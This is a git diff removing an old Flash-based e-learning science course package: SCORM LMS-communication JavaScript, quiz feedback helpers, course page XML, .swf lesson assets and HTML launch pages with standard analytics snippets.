-this.setHtmlCode=_setInCorrectFeedbackHtmlCode;
-this.render=_renderInstantInCorrectFeedback;
-}
-
-
-
-function _renderInstantInCorrectFeedback(pQuestion)
-{
-		
-var feedbackString=replaceToken(INCORRECT_INSTANT_FEEDBACK_TEXT_TOKEN,this.htmlCode,pQuestion.incorrectFeedbackText);
-return feedbackString;
-}
-
-
-// Ending Renderer
-
-
-
-
-
-
-
-// Global
-
-// replaces all occurences of the token.
-function replaceToken(pToken , pOriginalString , pStringToReplaceWith){
-
-	//alert("Token" +pToken +"Original String" + pOriginalString + "ReplaceString" + pStringToReplaceWith);
-
-	var index = pOriginalString.indexOf(pToken);
-
-	var modifiedString = pOriginalString;	
-
-	if(index!=-1){
-
-		var startString = pOriginalString.substring(0 , index);
-
-		var endString   = pOriginalString.substring(index+pToken.length);
-
-		modifiedString = startString + pStringToReplaceWith + endString;
-
-	
-
-		if(modifiedString.indexOf(pToken) != -1)
-
-			modifiedString = replaceToken(pToken , modifiedString , pStringToReplaceWith);
-
-	}		
-
-	return modifiedString;
-
-}
-
-//used to return instant feedback string of the Question object. for Single question/page
-
-function getInstantFeedbackString(){
-
-		var tQuestion = iFinalQuestions[currentQustionIndex-1];
-	   	if(userSelected[currentQustionIndex-1] == iAnswersArray[currentQustionIndex-1]){
-			return tQuestion.instantCorrectFeedbackRenderer.render(tQuestion);
-		}
-		else{
-			return tQuestion.instantInCorrectFeedbackRenderer.render(tQuestion);
-		}
-}
-
-
-//End Change of Model by Manu/Monalika/Sampad/Arijit
diff --git a/Explore/elr/Science/S0502/shared/scripts/csl_scofunctions.js b/Explore/elr/Science/S0502/shared/scripts/csl_scofunctions.js
deleted file mode 100755
index 3427e59..0000000
--- a/Explore/elr/Science/S0502/shared/scripts/csl_scofunctions.js
+++ /dev/null
@@ -1,624 +0,0 @@
-
-
-
-// version --- CSL_1.3.0.0
-
-var startDate;
-var exitPageStatus;
-
-
-
-var useCustomSearch = false;
-
-
-
-function loadPage(){
-   var result = doLMSInitialize();
-   var status = doLMSGetValue( "cmi.core.lesson_status" );
-   if (status == "not attempted"){
-	  // the student is now attempting the lesson
-	  doLMSSetValue( "cmi.core.lesson_status", "incomplete" );
-   }
-   exitPageStatus = false;
-   startTimer();
-   if( self.launchSCO ){
-	   launchSCO();   
-	}
-}
-
-
-
-
-function getValue(pDataModelName){
-   return doLMSGetValue(pDataModelName);	
-}
-
-
-
-
-function setValue(pDataModelName , pValue){
-   return doLMSSetValue(pDataModelName , pValue);	
-}
-
-
-
-function startTimer(){
-   startDate = new Date().getTime();
-}
-
-
-
-
-function computeTime(){
-   if ( startDate != 0 ){
-      var currentDate = new Date().getTime();
-      var elapsedSeconds = ( (currentDate - startDate) / 1000 );
-      var formattedTime = convertTotalSeconds( elapsedSeconds );
-   }
-   else{
-      formattedTime = "00:00:00.0";
-   }
-   doLMSSetValue( "cmi.core.session_time", formattedTime );
-}
-
-
-
-
-function doBack(){
-	if( exitPageStatus == false ){
-		doLMSSetValue( "cmi.core.exit", "suspend" );
-		if( self.exitSCO ){
-			exitSCO();
-		}
-		computeTime();
-		exitPageStatus = true;  
-		var result;
-		//result = doLMSCommit();
-		// NOTE: LMSFinish will unload the current SCO.  All processing
-		//       relative to the current page must be performed prior
-		//		 to calling LMSFinish. 
-		result = doLMSFinish();
-   }
-}
-
-
-
-
-function doContinue( status ){
-   // Reinitialize Exit to blank
-   if( exitPageStatus == false ){
-		doLMSSetValue( "cmi.core.exit", "" );
-		var mode = doLMSGetValue( "cmi.core.lesson_mode" );
-		if ( mode != "review"  &&  mode != "browse" ) {
-	   		if( status ){
-				doLMSSetValue( "cmi.core.lesson_status", status );
-			}
-		}
-		if( self.exitSCO ){
-			exitSCO(); 
-		}
-		computeTime();
-		exitPageStatus = true;
-		var result;
-		//result = doLMSCommit();
-		result = doLMSFinish();
-	}
-}
-
-
-
-function doQuit(){
-	if( exitPageStatus == false ){
-		doLMSSetValue( "cmi.core.exit", "logout" );
-		if( self.exitSCO ){
-			exitSCO();
-		}
-		computeTime();
-		exitPageStatus = true;
-		var result;
-		result = doLMSCommit();
-		result = doLMSFinish();
-	}
-}
-
-function unloadPage(){
-	if (exitPageStatus != true){
-		if( self.exitSCO ){
-			exitSCO();
-		}	
-		exitPageStatus = true;
-		computeTime();
-		doLMSFinish();
-	}	
-}
-
-function isOPELPlatform(){
-  var retValue = false;
-	var api = getAPIHandle();
-	if (null == api){
-		return false;
-	}
-	else {	      
-		api.LMSGetValue("dt.progress");
-		var err = ErrorHandler();
-		if(err != _NotImplementedError && err != _InvalidArgumentError){
-      		retValue = true;
-		}
-	}
-	return retValue;   
-}
-
-
-
-
-
-function convertTotalSeconds(ts){
-   var sec = (ts % 60);
-
-   ts -= sec;
-   var tmp = (ts % 3600);  //# of seconds in the total # of minutes
-   ts -= tmp;              //# of seconds in the total # of hours
-
-   // convert seconds to conform to CMITimespan type (e.g. SS.00)
-   sec = Math.round(sec*100)/100;
-   
-   var strSec = new String(sec);
-   var strWholeSec = strSec;
-   var strFractionSec = "";
-
-   if (strSec.indexOf(".") != -1) {
-      strWholeSec =  strSec.substring(0, strSec.indexOf("."));
-      strFractionSec = strSec.substring(strSec.indexOf(".")+1, strSec.length);
-   }
-   
-   if (strWholeSec.length < 2){
-      strWholeSec = "0" + strWholeSec;
-   }
-   strSec = strWholeSec;
-   
-   if (strFractionSec.length) {
-      strSec = strSec+ "." + strFractionSec;
-   }
-
-   if ((ts % 3600) != 0 )
-      var hour = 0;
-   else var hour = (ts / 3600);
-   if ( (tmp % 60) != 0 )
-      var min = 0;
-   else var min = (tmp / 60);
-
-   if ((new String(hour)).length < 2)
-      hour = "0"+hour;
-   if ((new String(min)).length < 2)
-      min = "0"+min;
-
-   var rtnVal = hour+":"+min+":"+strSec;
-
-   return rtnVal;
-}
-
-
-
-
-var OPELObjectName = "OpelPresentationAPI"; //.........Name of Object Specific to OPEL...........//
-
-var DesktopObjectName = "DesktopPresentationAPI"; //...Name of Object Specific to OPEL Desktop...//
-
-//				Reference to the platform specific object for SCOs to communicate 
-//				with which can be OPELObject or DesktopObject
-
-var platformObject = null;
-//
-//NOTE: At Anytime either OPELObject or DTDektopObject will be present , both cannot be present
-//    at the same time.
-//
-var _Debug = false;  // set this to false to turn debugging off
-                     // and get rid of those annoying alert boxes.
-// Define exception/error codes
-var _NoError = 0;
-var _GeneralException = 101;
-var _ServerBusy = 102;
-var _InvalidArgumentError = 201;
-var _ElementCannotHaveChildren = 202;
-var _ElementIsNotAnArray = 203;
-var _NotInitialized = 301;
-var _NotImplementedError = 401;
-var _InvalidSetValue = 402;
-var _ElementIsReadOnly = 403;
-var _ElementIsWriteOnly = 404;
-var _IncorrectDataType = 405;
-
-// local variable definitions
-var apiHandle = null;
-var API = null;
-var findAPITries = 0;
-
-var lookForAICC = false;
-
-// Function: doLMSInitialize()
-// Inputs:  None
-// Return:  CMIBoolean true if the initialization was successful, or
-//          CMIBoolean false if the initialization failed.
-//
-// Description:
-// Initialize communication with LMS by calling the LMSInitialize
-// function which will be implemented by the LMS.
-//
-//
-function doLMSInitialize(){
-	var api = getAPIHandle();
-	if (api == null)   {
-		var returnValue = "";
-		alert("Unable to locate the LMS's API Implementation.\nLMSGetValue was not successful.");		
-		return returnValue;
-	}
-	
-	var result = api.LMSInitialize("");
-
-	if (result.toString() != "true") {
-		var err = ErrorHandler();
-	}
-	return result.toString();
-}
-
-//
-//
-// Function doLMSFinish()
-// Inputs:  None
-// Return:  CMIBoolean true if successful
-//          CMIBoolean false if failed.
-//
-// Description:
-// Close communication with LMS by calling the LMSFinish
-// function which will be implemented by the LMS
-//
-//
-function doLMSFinish(){
-   var api = getAPIHandle();
-   if (api == null)   {
-		var returnValue = "";
-		alert("Unable to locate the LMS's API Implementation.\nLMSGetValue was not successful.");		
-		return returnValue;
-   }
-   else   {
-      // call the LMSFinish function that should be implemented by the API
-
-      var result = api.LMSFinish("");
-      if (result.toString() != "true") {
-         var err = ErrorHandler();
-      }
-   }
-
-   return result.toString();
-}
-
-//
-//
-// Function doLMSGetValue(name)
-// Inputs:  name - string representing the cmi data model defined category or
-//             element (e.g. cmi.core.student_id)
-// Return:  The value presently assigned by the LMS to the cmi data model
-//       element defined by the element or category identified by the name
-//       input value.
-//
-// Description:
-// Wraps the call to the LMS LMSGetValue method
-//
-//
-function doLMSGetValue(name){
-   var api = getAPIHandle();
-   if (api == null)   {
-		var returnValue = "";
-		alert("Unable to locate the LMS's API Implementation.\nLMSGetValue was not successful.");		
-		return returnValue;
-   }
-   else{
-      var value = api.LMSGetValue(name);
-      var errCode = api.LMSGetLastError().toString();
-      if (errCode != _NoError) {
-         // an error was encountered so display the error description
-         var errDescription = api.LMSGetErrorString(errCode);
-         alert("LMSGetValue("+name+") failed. \n"+ errDescription);
-         return "";
-      }
-      else {
-         
-         return "" + value.toString();
-      }
-   }
-}
-
-//
-//
-// Function doLMSSetValue(name, value)
-// Inputs:  name -string representing the data model defined category or element
-//          value -the value that the named element or category will be assigned
-// Return:  CMIBoolean true if successful
-//          CMIBoolean false if failed.
-//
-// Description:
-// Wraps the call to the LMS LMSSetValue function
-//
-//
-function doLMSSetValue(name, value){
-   var api = getAPIHandle();
-   if (api == null) {
-		var returnValue = "";
-		alert("Unable to locate the LMS's API Implementation.\nLMSGetValue was not successful.");		
-		return returnValue;
-   }
-   else{
-      var result = api.LMSSetValue(name, value);
-      if (result.toString() != "true"){
-         var err = ErrorHandler();
-      }
-   }
-
-   return;
-}
-
-//
-//
-// Function doLMSCommit()
-// Inputs:  None
-// Return:  None
-//
-// Description:
-// Call the LMSCommit function 
-//
-//
-function doLMSCommit(){
-   var api = getAPIHandle();
-   if (api == null) {
-		var returnValue = "";
-		alert("Unable to locate the LMS's API Implementation.\nLMSGetValue was not successful.");		
-		return returnValue;
-   }
-   else{
-      var result = api.LMSCommit("");
-      if (result != "true"){
-         var err = ErrorHandler();
-      }
-   }
-
-   return result.toString();
-}
-
-//
-//
-// Function doLMSGetLastError()
-// Inputs:  None
-// Return:  The error code that was set by the last LMS function call
-//
-// Description:
-// Call the LMSGetLastError function 
-//
-//
-function doLMSGetLastError(){
-   var api = getAPIHandle();
-   if (api == null){
-		var returnValue = "";
-		if( self.aiccapi == null ){
-			alert("Unable to locate the LMS's API Implementation.\nLMSGetValue was not successful.");		
-		}	
-		else{		
-			returnValue = aiccapi.LMSGetLastError();
-		}
-		return returnValue;
-   }
-
-   return api.LMSGetLastError().toString();
-}
-
-//
-//
-// Function doLMSGetErrorString(errorCode)
-// Inputs:  errorCode - Error Code
-// Return:  The textual description that corresponds to the input error code
-//
-// Description:
-// Call the LMSGetErrorString function 
-//
-//
-function doLMSGetErrorString(errorCode){
-   var api = getAPIHandle();
-   if (api == null){
-		var returnValue = "";
-		alert("Unable to locate the LMS's API Implementation.\nLMSGetValue was not successful.");		
-		return returnValue;
-   }
-
-   return api.LMSGetErrorString(errorCode).toString();
-}
-
-//
-//
-// Function doLMSGetDiagnostic(errorCode)
-// Inputs:  errorCode - Error Code(integer format), or null
-// Return:  The vendor specific textual description that corresponds to the 
-//          input error code
-//
-// Description:
-// Call the LMSGetDiagnostic function
-//
-//
-function doLMSGetDiagnostic(errorCode){
-   var api = getAPIHandle();
-   if (api == null){
-		var returnValue = "";
-		alert("Unable to locate the LMS's API Implementation.\nLMSGetValue was not successful.");		
-		return returnValue;
-   }
-
-   return api.LMSGetDiagnostic(errorCode).toString();
-}
-
-//
-//
-// Function LMSIsInitialized()
-// Inputs:  none
-// Return:  true if the LMS API is currently initialized, otherwise false
-//
-// Description:
-// Determines if the LMS API is currently initialized or not.
-//
-//
-function LMSIsInitialized(){
-   // there is no direct method for determining if the LMS API is initialized
-   // for example an LMSIsInitialized function defined on the API so we'll try
-   // a simple LMSGetValue and trap for the LMS Not Initialized Error
-
-   var api = getAPIHandle();
-   if (api == null) {
-      alert("Unable to locate the LMS's API Implementation.\nLMSIsInitialized() failed.");
-      return false;
-   }
-   else{
-      var value = api.LMSGetValue("cmi.core.student_name");
-      var errCode = api.LMSGetLastError().toString();
-      if (errCode == _NotInitialized){
-         return false;
-      }
-      else{
-         return true;
-      }
-   }
-}
-
-//
-//
-// Function ErrorHandler()
-// Inputs:  None
-// Return:  The current value of the LMS Error Code
-//
-// Description:
-// Determines if an error was encountered by the previous API call
-// and if so, displays a message to the user.  If the error code
-// has associated text it is also displayed.
-//
-//
-function ErrorHandler(){
-   var api = getAPIHandle();
-   if (api == null){
-      alert("Unable to locate the LMS's API Implementation.\nCannot determine LMS error code.");
-      return;
-   }
-
-   // check for errors caused by or from the LMS
-   var errCode = api.LMSGetLastError().toString();
-   if (errCode != _NoError){
-      // an error was encountered so display the error description
-      var errDescription = api.LMSGetErrorString(errCode);
-
-      if (_Debug == true) {
-         errDescription += "\n";
-         errDescription += api.LMSGetDiagnostic(null);
-         // by passing null to LMSGetDiagnostic, we get any available diagnostics
-         // on the previous error.
-      }
-
-      if(_Debug)alert(errDescription);
-   }
-
-   return errCode;
-}
-
-//
-//
-// Function getAPIHandle()
-// Inputs:  None
-// Return:  value contained by APIHandle
-//
-// Description:
-// Returns the handle to API object if it was previously set,
-// otherwise it returns null
-//
-//
-function getAPIHandle(){
-
-	if( self.aiccapi ){
-		return self.aiccapi;
-	}
-   if (apiHandle == null){
-      apiHandle = getAPI();
-   }
-
-   return apiHandle;
-}
-
-
-//
-//
-// Function findAPI(win)
-// Inputs:  win - a Window Object
-// Return:  If an API object is found, it's returned, otherwise null is returned
-//
-// Description:
-// This function looks for an object named API in parent and opener windows
-//
-//
-
-
-
-//
-//	Added Code to locate the OPEL Specific Object to enable a SCO to 
-//	communicate with the platform(OPEL).
-//
-
-
-function findAPI(win){
-   while ((win.API == null) && (win.parent != null) && (win.parent != win))  {
-      findAPITries++;      
-      
-     // Note: 10 is an arbitrary number, but should be more than sufficient
-      if (findAPITries > 10) {
-         alert("Error finding API -- too deeply nested.");
-         return null;
-      }
-      
-      win = win.parent;
-      
-      var numOfFrames = win.frames.length;
-      var counter     = 0;
-      
-      while(counter < numOfFrames){
-      	if(win.frames[counter].API){
-      		return win.frames[counter].API;
-      	}
-      	counter++;
-      }      
-   }  
-   return win.API;
-}
-
-
-
-//
-//
-// Function getAPI()
-// Inputs:  none
-// Return:  If an API object is found, it's returned, otherwise null is returned
-//
-// Description:
-// This function looks for an object named API, first in the current window's 
-// frame hierarchy and then, if necessary, in the current window's opener window
-// hierarchy (if there is an opener window).
-//
-//
-function getAPI(){
-   var theAPI = findAPI(window);
-   if ((theAPI == null) && (top.opener != null) && (typeof(top.opener) != "undefined")) {
-      theAPI = findAPI(top.opener);
-   }
-   
-   if(theAPI == null && useCustomSearch){
-   	if(searchInOtherLocations){
-   		theAPI	=   searchInOtherLocations();
-   	}
-   }
-   
-   if (theAPI == null){
-      alert("Unable to find an API adapter");
-   }  
-   return theAPI;
-}
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0502/shared/scripts/csl_staticwrapper.js b/Explore/elr/Science/S0502/shared/scripts/csl_staticwrapper.js
deleted file mode 100755
index 805f7fd..0000000
--- a/Explore/elr/Science/S0502/shared/scripts/csl_staticwrapper.js
+++ /dev/null
@@ -1,56 +0,0 @@
-
-
-// CSL_1.3.0.0
-function StaticAdapter(){
-	
-	this.LMSInitialize		=	_initialize;
-	this.LMSSetValue		=	_setValue;
-	this.LMSGetValue		=	_getValue;
-	this.LMSGetLastError		=	_getLastError;
-	this.LMSGetErrorString		=	_getErrorString;
-	this.LMSGetDiagnostic		=	_getDiagnostic;
-	this.LMSCommit			=	_commit;
-	this.LMSFinish			=	_finish;
-	
-	
-}
-
-
-function _initialize(){	
-	return "true";
-}
-
-function _getValue(pElementName){	 
-	return "";
-}
-
-function _setValue(pElementName , pElementValue){	 
-	return "true";
-}
-
-function _getLastError(){
-	return 0;
-}
-
-function _getErrorString(){
-	return "";
-}
-
-function _getDiagnostic(){
-	return "";
-}
-
-function _commit(){	 
-	return "true";
-}
-
-function _finish(){	 
-	return "true";
-}
-
-/// END OF StaticAdapter Object Definition
-
-
-// initialize the API Adapter For SCOs
-
-var API		=	new StaticAdapter();
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0502/shared/scripts/csl_utils.js b/Explore/elr/Science/S0502/shared/scripts/csl_utils.js
deleted file mode 100755
index 6cc849a..0000000
--- a/Explore/elr/Science/S0502/shared/scripts/csl_utils.js
+++ /dev/null
@@ -1,98 +0,0 @@
-
-
-// CSL_1.3.0.0
- 
-
- 
- 
- function getElementFromSuspendData(elementName){
- 	var tString = getValue("cmi.suspend_data");
-	if( tString == null ){
-		tString = "";
-	}
-	return getElementValue(tString,elementName);
- }
- 
- 
- 
-
- 
- 
- function addToSuspendData(tagName, tagValue){
- 	var tString = getValue("cmi.suspend_data");
-
-	if( tString == null ){
-		tString = "";
-	}
-
-	tString = addElement( tString, tagName, tagValue );
-	setValue("cmi.suspend_data", tString);
- 
- }
- 
- 
-  
-
- 
-
-  
- function setNumberOfAttempts(pAttempts){
-	addToSuspendData("attempts",pAttempts);
- }
-
-
- 
- 
- function getNumberOfAttempts(){
- 	var tString = getElementFromSuspendData("attempts");
-	var tAttempts = parseInt(tString);
-	if( isNaN(tAttempts) ){
-		tAttempts = 0;
-	}
-	return tAttempts;
- }
- 
- 
-
- 
-
- //The following functions are private and should not be used by content developers unless there is a custom requirement.
-function getElementValue(completeString, tagName){
-
-	var tStartIndex = completeString.indexOf( "<" +tagName+ ">" ) ;
-	var tString = "";
-	
-	if( tStartIndex != -1 ){
-		tStartIndex = tStartIndex + tagName.length + 2;
-		var tEndIndex = completeString.indexOf("</" + tagName + ">");
-		if( tEndIndex == -1 ){
-			tEndIndex = completeString.length;
-		}
-		tString = completeString.substring( tStartIndex, tEndIndex );
-	}
-	return tString;	
-}
-
-function getElementString(tagName, tagValue){
-	return "<" + tagName + ">" + tagValue + "</" + tagName + ">";
-}
-
-
-function addElement(completeString, tagName, tagValue){
-	var tStartIndex = completeString.indexOf( "<" +tagName+ ">" );
-	
-	if( tStartIndex == -1 ){
-		completeString += getElementString(tagName,tagValue);
-	}
-	else{
-		tStartIndex +=  tagName.length + 2;
-		tEndIndex = completeString.indexOf("</" + tagName + ">");
-		completeString = completeString.substring(0,tStartIndex) +  tagValue + completeString.substring(tEndIndex,completeString.length);
-	}
-	return completeString;
-}
-
- 
-
- 
- 
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0601/L6-01/L6-01.swf b/Explore/elr/Science/S0601/L6-01/L6-01.swf
deleted file mode 100755
index e8dcb93..0000000
--- a/Explore/elr/Science/S0601/L6-01/L6-01.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0601/L6-03/L6-03.swf b/Explore/elr/Science/S0601/L6-03/L6-03.swf
deleted file mode 100755
index df8e8b4..0000000
--- a/Explore/elr/Science/S0601/L6-03/L6-03.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0601/L6-04/L6-04.swf b/Explore/elr/Science/S0601/L6-04/L6-04.swf
deleted file mode 100755
index c652851..0000000
--- a/Explore/elr/Science/S0601/L6-04/L6-04.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0601/L6-05/L6-05.swf b/Explore/elr/Science/S0601/L6-05/L6-05.swf
deleted file mode 100755
index b53d8ce..0000000
--- a/Explore/elr/Science/S0601/L6-05/L6-05.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0601/_Shell/courseData.xml b/Explore/elr/Science/S0601/_Shell/courseData.xml
deleted file mode 100755
index 1c04fe7..0000000
--- a/Explore/elr/Science/S0601/_Shell/courseData.xml
+++ /dev/null
@@ -1,26 +0,0 @@
-<course isflipbook='true'>
-	<page>
-		<name>Intro</name>
-		<fileName>../L6-01/L6-01.swf</fileName>
-		<ID>INTRO</ID>
-		<isComplete>false</isComplete>
-	</page>
-	<page>
-		<name>Environments</name>
-		<fileName>../L6-03/L6-03.swf</fileName>
-		<ID>GAME INTRO</ID>
-		<isComplete>false</isComplete>
-	</page>
-	<page>
-		<name>Place that creature!</name>
-		<fileName>../L6-04/L6-04.swf</fileName>
-		<ID>GAME</ID>
-		<isComplete>false</isComplete>
-	</page>
-	<page>
-		<name>Conclusion</name>
-		<fileName>../L6-05/L6-05.swf</fileName>
-		<ID>GAME CLOSE</ID>
-		<isComplete>false</isComplete>
-	</page>
-</course>
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0601/_Shell/index.html b/Explore/elr/Science/S0601/_Shell/index.html
deleted file mode 100755
index 6a231e8..0000000
--- a/Explore/elr/Science/S0601/_Shell/index.html
+++ /dev/null
@@ -1,26 +0,0 @@
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
-<title>lev_preloader</title>
-
-<!-- Start of StatCounter Code -->
-<script type="text/javascript">
-var sc_project=3285066; 
-var sc_invisible=0; 
-var sc_partition=21; 
-var sc_security="17665825"; 
-</script>
-
-<script type="text/javascript" src="http://www.statcounter.com/counter/counter_xhtml.js"></script><noscript><div class="statcounter"><a class="statcounter" href="http://www.statcounter.com/"><img class="statcounter" src="http://c22.statcounter.com/3285066/0/17665825/0/" alt="click analytics" /></a></div></noscript>
-<!-- End of StatCounter Code -->
-</head>
-<body bgcolor="#4b351f">
-<!--url's used in the movie-->
-<!--text used in the movie-->
-<!-- saved from url=(0013)about:internet -->
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-<param name="allowScriptAccess" value="sameDomain" />
-<param name="movie" value="lev_preloader.swf" /><param name="quality" value="high" /><param name="bgcolor" value="#4b351f" /><embed src="lev_preloader.swf" quality="high" bgcolor="#4b351f" width="800" height="600" name="lev_preloader" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />
-</object>
-</body>
-</html>
diff --git a/Explore/elr/Science/S0601/_Shell/lev.swf b/Explore/elr/Science/S0601/_Shell/lev.swf
deleted file mode 100755
index eb83f85..0000000
--- a/Explore/elr/Science/S0601/_Shell/lev.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0601/_Shell/lev_preloader.swf b/Explore/elr/Science/S0601/_Shell/lev_preloader.swf
deleted file mode 100755
index e8baf53..0000000
--- a/Explore/elr/Science/S0601/_Shell/lev_preloader.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0601/_sharedAssets/shared.swf b/Explore/elr/Science/S0601/_sharedAssets/shared.swf
deleted file mode 100755
index 6c5718c..0000000
--- a/Explore/elr/Science/S0601/_sharedAssets/shared.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0701/L7-01/L7-01.swf b/Explore/elr/Science/S0701/L7-01/L7-01.swf
deleted file mode 100755
index d409723..0000000
--- a/Explore/elr/Science/S0701/L7-01/L7-01.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0701/L7-02/L7-02.swf b/Explore/elr/Science/S0701/L7-02/L7-02.swf
deleted file mode 100755
index f47b001..0000000
--- a/Explore/elr/Science/S0701/L7-02/L7-02.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0701/L7-03/L7-03.swf b/Explore/elr/Science/S0701/L7-03/L7-03.swf
deleted file mode 100755
index 7bee2a9..0000000
--- a/Explore/elr/Science/S0701/L7-03/L7-03.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0701/L7-04/L7-04.swf b/Explore/elr/Science/S0701/L7-04/L7-04.swf
deleted file mode 100755
index 0e2baa5..0000000
--- a/Explore/elr/Science/S0701/L7-04/L7-04.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0701/L7-05/L7-05.swf b/Explore/elr/Science/S0701/L7-05/L7-05.swf
deleted file mode 100755
index c05fdc4..0000000
--- a/Explore/elr/Science/S0701/L7-05/L7-05.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0701/L7-06/plains.swf b/Explore/elr/Science/S0701/L7-06/plains.swf
deleted file mode 100755
index 02b62b5..0000000
--- a/Explore/elr/Science/S0701/L7-06/plains.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0701/L7-07/mountains.swf b/Explore/elr/Science/S0701/L7-07/mountains.swf
deleted file mode 100755
index c298e37..0000000
--- a/Explore/elr/Science/S0701/L7-07/mountains.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0701/L7-08/desert.swf b/Explore/elr/Science/S0701/L7-08/desert.swf
deleted file mode 100755
index 2d47888..0000000
--- a/Explore/elr/Science/S0701/L7-08/desert.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0701/L7-09/arctic.swf b/Explore/elr/Science/S0701/L7-09/arctic.swf
deleted file mode 100755
index cc14242..0000000
--- a/Explore/elr/Science/S0701/L7-09/arctic.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0701/L7-10/L7-10.swf b/Explore/elr/Science/S0701/L7-10/L7-10.swf
deleted file mode 100755
index 0790095..0000000
--- a/Explore/elr/Science/S0701/L7-10/L7-10.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0701/_Shell/courseData.xml b/Explore/elr/Science/S0701/_Shell/courseData.xml
deleted file mode 100755
index 627ff82..0000000
--- a/Explore/elr/Science/S0701/_Shell/courseData.xml
+++ /dev/null
@@ -1,56 +0,0 @@
-<course isflipbook='false'>
-	<page>
-		<name>Introduction</name>
-		<fileName>../L7-01/L7-01.swf</fileName>
-		<ID>L7-01</ID>
-		<isComplete>false</isComplete>
-	</page>
-	<page ishome='true'>
-		<name>Valley of Kundar</name>
-		<fileName>../L7-02/L7-02.swf</fileName>
-		<ID>L7-02</ID>
-		<isComplete>false</isComplete>	
-	</page>
-	<page>
-		<name>Exploring Fossils</name>
-		<fileName>../L7-03/L7-03.swf</fileName>
-		<ID>L7-03</ID>
-		<isComplete>false</isComplete>
-	</page>
-	<page>
-		<name>Base Camp</name>
-		<fileName>../L7-04/L7-04.swf</fileName>
-		<ID>L7-04</ID>
-		<isComplete>false</isComplete>
-	</page>
-	<page>
-		<name>Plains</name>
-		<fileName>../L7-06/plains.swf</fileName>
-		<ID>L7-06</ID>
-		<isComplete>false</isComplete>
-	</page>
-	<page>
-		<name>Mountains</name>
-		<fileName>../L7-07/mountains.swf</fileName>
-		<ID>L7-07</ID>
-		<isComplete>false</isComplete>
-	</page>
-	<page>
-		<name>Desert</name>
-		<fileName>../L7-08/desert.swf</fileName>
-		<ID>L7-08</ID>
-		<isComplete>false</isComplete>
-	</page>
-	<page>
-		<name>Arctic</name>
-		<fileName>../L7-09/arctic.swf</fileName>
-		<ID>L7-09</ID>
-		<isComplete>false</isComplete>
-	</page>
-	<page>
-		<name>Conclusion</name>
-		<fileName>../L7-10/L7-10.swf</fileName>
-		<ID>L7-10</ID>
-		<isComplete>true</isComplete>
-	</page>
-</course>
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0701/_Shell/index.html b/Explore/elr/Science/S0701/_Shell/index.html
deleted file mode 100755
index f2beeeb..0000000
--- a/Explore/elr/Science/S0701/_Shell/index.html
+++ /dev/null
@@ -1,35 +0,0 @@
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
-<title>lev_preloader</title>
-
-<!-- Start of StatCounter Code -->
-<script type="text/javascript">
-var sc_project=3285070; 
-var sc_invisible=0; 
-var sc_partition=21; 
-var sc_security="ad602e98"; 
-</script>
-<script type="text/javascript">
-var gaJsHost = (("https:" == document.location.protocol) ?
-"https://ssl." : "http://www.");
-document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js'
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-<script type="text/javascript">
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-var pageTracker = _gat._getTracker("UA-3767630-1"); pageTracker._trackPageview(); } catch(err) {}</script>
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-<param name="allowScriptAccess" value="sameDomain" />
-<param name="movie" value="lev_preloader.swf" /><param name="quality" value="high" /><param name="bgcolor" value="#4b351f" /><embed src="lev_preloader.swf" quality="high" bgcolor="#4b351f" width="800" height="600" name="lev_preloader" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />
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diff --git a/Explore/elr/Science/S0701/_Shell/lev.swf b/Explore/elr/Science/S0701/_Shell/lev.swf
deleted file mode 100755
index d80d5ad..0000000
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+++ /dev/null
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deleted file mode 100755
index e8baf53..0000000
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+++ /dev/null
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deleted file mode 100755
index 9023fb3..0000000
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+++ /dev/null
diff --git a/Explore/elr/Science/S0801/assets/LS_001.swf b/Explore/elr/Science/S0801/assets/LS_001.swf
deleted file mode 100755
index 6021eff..0000000
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+++ /dev/null
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deleted file mode 100755
index d0009f4..0000000
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+++ /dev/null
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deleted file mode 100755
index 7d8b4df..0000000
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deleted file mode 100755
index ea2744b..0000000
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deleted file mode 100755
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--- a/Explore/elr/Science/S0801/assets/LS_005.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0801/assets/LS_006.swf b/Explore/elr/Science/S0801/assets/LS_006.swf
deleted file mode 100755
index 26690d6..0000000
--- a/Explore/elr/Science/S0801/assets/LS_006.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0801/assets/LS_007.swf b/Explore/elr/Science/S0801/assets/LS_007.swf
deleted file mode 100755
index 84d8ac7..0000000
--- a/Explore/elr/Science/S0801/assets/LS_007.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0801/assets/LS_008.swf b/Explore/elr/Science/S0801/assets/LS_008.swf
deleted file mode 100755
index f81167e..0000000
--- a/Explore/elr/Science/S0801/assets/LS_008.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0801/assets/TOI.swf b/Explore/elr/Science/S0801/assets/TOI.swf
deleted file mode 100755
index 567512d..0000000
--- a/Explore/elr/Science/S0801/assets/TOI.swf
+++ /dev/null
